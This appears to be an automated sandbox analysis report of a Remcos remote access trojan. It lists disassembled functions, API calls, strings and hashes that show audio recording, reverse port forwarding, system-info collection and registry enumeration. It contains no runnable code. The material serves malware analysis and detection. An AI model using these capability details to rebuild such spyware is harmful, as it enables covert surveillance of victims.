                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: 6cab9f7d569f345c7814ae43f5c160195df6b64f63ea78a6b18b8aa73aee7787
                                                                                            • Instruction ID: 9fec27c2adf71536e74eabd4120179072dbaa777ef3671cded9c13d0800a1e4b
                                                                                            • Opcode Fuzzy Hash: 6cab9f7d569f345c7814ae43f5c160195df6b64f63ea78a6b18b8aa73aee7787
                                                                                            • Instruction Fuzzy Hash: 86119B7550011CBFDB05EF55C882CDD3BB5EF05364B9240AAF9494F222DA35DE50EB49
                                                                                            Function 100059D6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 100059EA
                                                                                              • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                              • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                            • _free.LIBCMT ref: 100059F6
                                                                                            • _free.LIBCMT ref: 10005A01
                                                                                            • _free.LIBCMT ref: 10005A0C
                                                                                            • _free.LIBCMT ref: 10005A17
                                                                                            • _free.LIBCMT ref: 10005A22
                                                                                            • _free.LIBCMT ref: 10005A2D
                                                                                            • _free.LIBCMT ref: 10005A38
                                                                                            • _free.LIBCMT ref: 10005A43
                                                                                            • _free.LIBCMT ref: 10005A51
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                            • Instruction ID: 60753d52f1e9cb5801f9add085180c5dd3fc305f79823ad6bc57240ee419c635
                                                                                            • Opcode Fuzzy Hash: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                            • Instruction Fuzzy Hash: BE11B97E514548FFEB11DF58D842CDE3FA9EF04291B4540A1BD088F12ADA32EE50AB84
                                                                                            Function 0041BA2F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 214registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041BA51
                                                                                            • RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041BA95
                                                                                            • RegCloseKey.ADVAPI32(?), ref: 0041BD5F
                                                                                            Strings
                                                                                            • Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041BA47
                                                                                            • DisplayName, xrefs: 0041BADC
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseEnumOpen
                                                                                            • String ID: DisplayName$Software\Microsoft\Windows\CurrentVersion\Uninstall
                                                                                            • API String ID: 1332880857-3614651759
                                                                                            • Opcode ID: 403d69b7d6150682721d806f011c6d0cce43ad32a20d27b465eebd232eb4432d
                                                                                            • Instruction ID: 1bcbf0a3cc417a03c0c35e29071d92a42b6db1fb54f2f7a4c144fc0fa0a0a3c2
                                                                                            • Opcode Fuzzy Hash: 403d69b7d6150682721d806f011c6d0cce43ad32a20d27b465eebd232eb4432d
                                                                                            • Instruction Fuzzy Hash: 43813F311082409FD324EB11D951AEFB7E8FFD4314F10493FB586921E1EF34AA59CA9A
                                                                                            Function 004103EC Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Eventinet_ntoa
                                                                                            • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                                                                                            • API String ID: 3578746661-3604713145
                                                                                            • Opcode ID: ca1af84e32a46b1b2a64f66b0caaccc11785c5261133e7b65a85944b02c6f44f
                                                                                            • Instruction ID: 73c74054356758d85ec5353b0407031f458931cc5dd6312d5a4dd957febfbb04
                                                                                            • Opcode Fuzzy Hash: ca1af84e32a46b1b2a64f66b0caaccc11785c5261133e7b65a85944b02c6f44f
                                                                                            • Instruction Fuzzy Hash: 5851A4316043005BCA14FB75D95AAAE36A59B84318F00453FF809972E1DFBC9D85C78E
                                                                                            Function 004167E2 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 103sleepfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 00416842
                                                                                              • Part of subcall function 0041B825: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,00409F65), ref: 0041B83E
                                                                                            • Sleep.KERNEL32(00000064), ref: 0041686E
                                                                                            • DeleteFileW.KERNEL32(00000000), ref: 004168A2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$CreateDeleteExecuteShellSleep
                                                                                            • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                                                            • API String ID: 1462127192-2001430897
                                                                                            • Opcode ID: 5f81d0977621eaaaf9877aa37e68d908ff5d4c96087e60fe35d170a8a3fc5e12
                                                                                            • Instruction ID: c4be9e9118a59201799f54b99a9a171b680bb642a7e99c3b30ff6139130205e5
                                                                                            • Opcode Fuzzy Hash: 5f81d0977621eaaaf9877aa37e68d908ff5d4c96087e60fe35d170a8a3fc5e12
                                                                                            • Instruction Fuzzy Hash: 1B313E719001189ADB04FBA1DC96EEE7764AF50708F00417FF946730D2EF786A8ACA9D
                                                                                            Function 00401A8E Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _strftime.LIBCMT ref: 00401AD3
                                                                                              • Part of subcall function 00401BE8: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                                                            • waveInUnprepareHeader.WINMM(00472AC0,00000020,00000000,?), ref: 00401B85
                                                                                            • waveInPrepareHeader.WINMM(00472AC0,00000020), ref: 00401BC3
                                                                                            • waveInAddBuffer.WINMM(00472AC0,00000020), ref: 00401BD2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                                                            • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                                                                                            • API String ID: 3809562944-243156785
                                                                                            • Opcode ID: 808d8c9771a3ed0fab7fd0584ebb54cfedff9c81be1c2cec9091d9b53387f8ca
                                                                                            • Instruction ID: b0e15ff03f11dcb3e5bfd7c1448581b7ace3962aa9bffbd159c0990beee9d81b
                                                                                            • Opcode Fuzzy Hash: 808d8c9771a3ed0fab7fd0584ebb54cfedff9c81be1c2cec9091d9b53387f8ca
                                                                                            • Instruction Fuzzy Hash: 7E315E315043019FC324EB21DC56A9E77A4FB94314F00493EF559A21F1EFB8AA89CB9A
                                                                                            Function 0041CB7A Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47windowstringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041CB93
                                                                                              • Part of subcall function 0041CC2A: RegisterClassExA.USER32(00000030), ref: 0041CC77
                                                                                              • Part of subcall function 0041CC2A: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041CC92
                                                                                              • Part of subcall function 0041CC2A: GetLastError.KERNEL32 ref: 0041CC9C
                                                                                            • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041CBCA
                                                                                            • lstrcpynA.KERNEL32(00474B68,Remcos,00000080), ref: 0041CBE4
                                                                                            • Shell_NotifyIconA.SHELL32(00000000,00474B50), ref: 0041CBFA
                                                                                            • TranslateMessage.USER32(?), ref: 0041CC06
                                                                                            • DispatchMessageA.USER32(?), ref: 0041CC10
                                                                                            • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0041CC1D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                                                            • String ID: Remcos
                                                                                            • API String ID: 1970332568-165870891
                                                                                            • Opcode ID: 7a949f86bc247f3cbdd076edfe2cda77560b6c3ffe772df9fdb29a851d56ec4a
                                                                                            • Instruction ID: 6591afd7fea275f101bd811abb8745f55115b26a2df550b070e187602390ba30
                                                                                            • Opcode Fuzzy Hash: 7a949f86bc247f3cbdd076edfe2cda77560b6c3ffe772df9fdb29a851d56ec4a
                                                                                            • Instruction Fuzzy Hash: 130112B1940344ABD7109BA5EC4DFEABBBCA7C5B05F004029E615A2061EFB8E585CB6D
                                                                                            Function 0044B660 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: b79e0bacf68e79f56bbfbff6a95aeb92d11d955db7cfd18af0a5c0e52fbe5259
                                                                                            • Instruction ID: 8081305e108bfff8a8e14cd18a234b42858a69a1a1930647e7f2335dd99175ec
                                                                                            • Opcode Fuzzy Hash: b79e0bacf68e79f56bbfbff6a95aeb92d11d955db7cfd18af0a5c0e52fbe5259
                                                                                            • Instruction Fuzzy Hash: 44C105B0D04249AFEF11DFA9C8417BEBBB4EF09314F04415AE544A7392C738D941CBA9
                                                                                            Function 00452D3A Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,00453013,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00452DE6
                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,00453013,00000000,00000000,?,00000001,?,?,?,?), ref: 00452E69
                                                                                            • __alloca_probe_16.LIBCMT ref: 00452EA1
                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,00453013,?,00453013,00000000,00000000,?,00000001,?,?,?,?), ref: 00452EFC
                                                                                            • __alloca_probe_16.LIBCMT ref: 00452F4B
                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00453013,00000000,00000000,?,00000001,?,?,?,?), ref: 00452F13
                                                                                              • Part of subcall function 00446D0F: RtlAllocateHeap.NTDLL(00000000,00434613,?,?,00437437,?,?,?,?,?,0040CD5A,00434613,?,?,?,?), ref: 00446D41
                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00453013,00000000,00000000,?,00000001,?,?,?,?), ref: 00452F8F
                                                                                            • __freea.LIBCMT ref: 00452FBA
                                                                                            • __freea.LIBCMT ref: 00452FC6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                                                            • String ID:
                                                                                            • API String ID: 201697637-0
                                                                                            • Opcode ID: 636d8ee8978a4b28d28c899fe5287c94f7ea3d2e518637072967bc6aea0c1ce5
                                                                                            • Instruction ID: e285173fe66e9ab68cc8b5f7bb46492c032c90826bba7407019ac45f59d87ef3
                                                                                            • Opcode Fuzzy Hash: 636d8ee8978a4b28d28c899fe5287c94f7ea3d2e518637072967bc6aea0c1ce5
                                                                                            • Instruction Fuzzy Hash: E991D572E002169BDF208E64DA41AEFBBB5AF0A312F14055BFC05E7242D778DC48C768
                                                                                            Function 10001CCA Relevance: 13.6, APIs: 9, Instructions: 84fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D1B
                                                                                            • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 10001D37
                                                                                            • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D58
                                                                                            • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D72
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D7D
                                                                                            • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D8A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$Delete$CloseCopyCreateHandleReadSize
                                                                                            • String ID:
                                                                                            • API String ID: 1454806937-0
                                                                                            • Opcode ID: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                            • Instruction ID: 3114db45d92e83daf92c47a85baf70c14dd0292bf94a6379629bf72341f68b19
                                                                                            • Opcode Fuzzy Hash: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                            • Instruction Fuzzy Hash: 2221FCB594122CAFF710EBA08CCCFEF76ACEB08395F010566F515D2154D6709E458A70
                                                                                            Function 00444609 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                            • _memcmp.LIBVCRUNTIME ref: 004448B3
                                                                                            • _free.LIBCMT ref: 00444924
                                                                                            • _free.LIBCMT ref: 0044493D
                                                                                            • _free.LIBCMT ref: 0044496F
                                                                                            • _free.LIBCMT ref: 00444978
                                                                                            • _free.LIBCMT ref: 00444984
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorLast$_abort_memcmp
                                                                                            • String ID: C
                                                                                            • API String ID: 1679612858-1037565863
                                                                                            • Opcode ID: 614205798ad6061f3d9420df6d0f7eb30440e43e095dda7afa9147f4421e103d
                                                                                            • Instruction ID: ce46d41f1d9e01bafc0896c2bb0d2adb680072b6a59d341745b23d3028246374
                                                                                            • Opcode Fuzzy Hash: 614205798ad6061f3d9420df6d0f7eb30440e43e095dda7afa9147f4421e103d
                                                                                            • Instruction Fuzzy Hash: 24B14975A012199FEB24DF18C884BAEB7B4FF49314F1045AEE849A7351D738AE90CF48
                                                                                            Function 00413A9F Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 228COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: tcp$udp
                                                                                            • API String ID: 0-3725065008
                                                                                            • Opcode ID: af4d639371690cb8637a3a63659cf8324f890a8ac4b6ebd8bb2dc9423f2fa13d
                                                                                            • Instruction ID: 641150f3fd0ea6af627c79cdc5c75230aa36f57d28899e04d0661f3c05bf373f
                                                                                            • Opcode Fuzzy Hash: af4d639371690cb8637a3a63659cf8324f890a8ac4b6ebd8bb2dc9423f2fa13d
                                                                                            • Instruction Fuzzy Hash: 0D71D1716083528FDB24CF1994846ABB7E0AF84746F14442FF885A7352E77CDE81CB8A
                                                                                            Function 0044821F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 171timeCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045E478), ref: 00448289
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,0047279C,000000FF,00000000,0000003F,00000000,?,?), ref: 00448301
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,004727F0,000000FF,?,0000003F,00000000,?), ref: 0044832E
                                                                                            • _free.LIBCMT ref: 00448277
                                                                                              • Part of subcall function 00446CD5: RtlFreeHeap.NTDLL(00000000,00000000,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A), ref: 00446CEB
                                                                                              • Part of subcall function 00446CD5: GetLastError.KERNEL32(0000000A,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A,0000000A), ref: 00446CFD
                                                                                            • _free.LIBCMT ref: 00448443
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                                                            • String ID: xE$xE
                                                                                            • API String ID: 1286116820-1741595589
                                                                                            • Opcode ID: 1f630aa574f8f032912558e332746922b811222e22d4e5e5c8fa9a473f36de46
                                                                                            • Instruction ID: 82a604bb7294b81f3f73b5ad664ce4632eb81d562d18d3de5c52697f85b56542
                                                                                            • Opcode Fuzzy Hash: 1f630aa574f8f032912558e332746922b811222e22d4e5e5c8fa9a473f36de46
                                                                                            • Instruction Fuzzy Hash: 43510871900219ABEB14EF698D819AE77BCEF44B14F1002AFF854A3291EF788D418B5C
                                                                                            Function 00412D60 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 00412D99
                                                                                              • Part of subcall function 00412A82: RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412AF5
                                                                                              • Part of subcall function 00412A82: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000,?,?,?,?), ref: 00412B24
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            • RegCloseKey.ADVAPI32(TeFTeF,00466554,00466554,00466900,00466900,00000071), ref: 00412F09
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
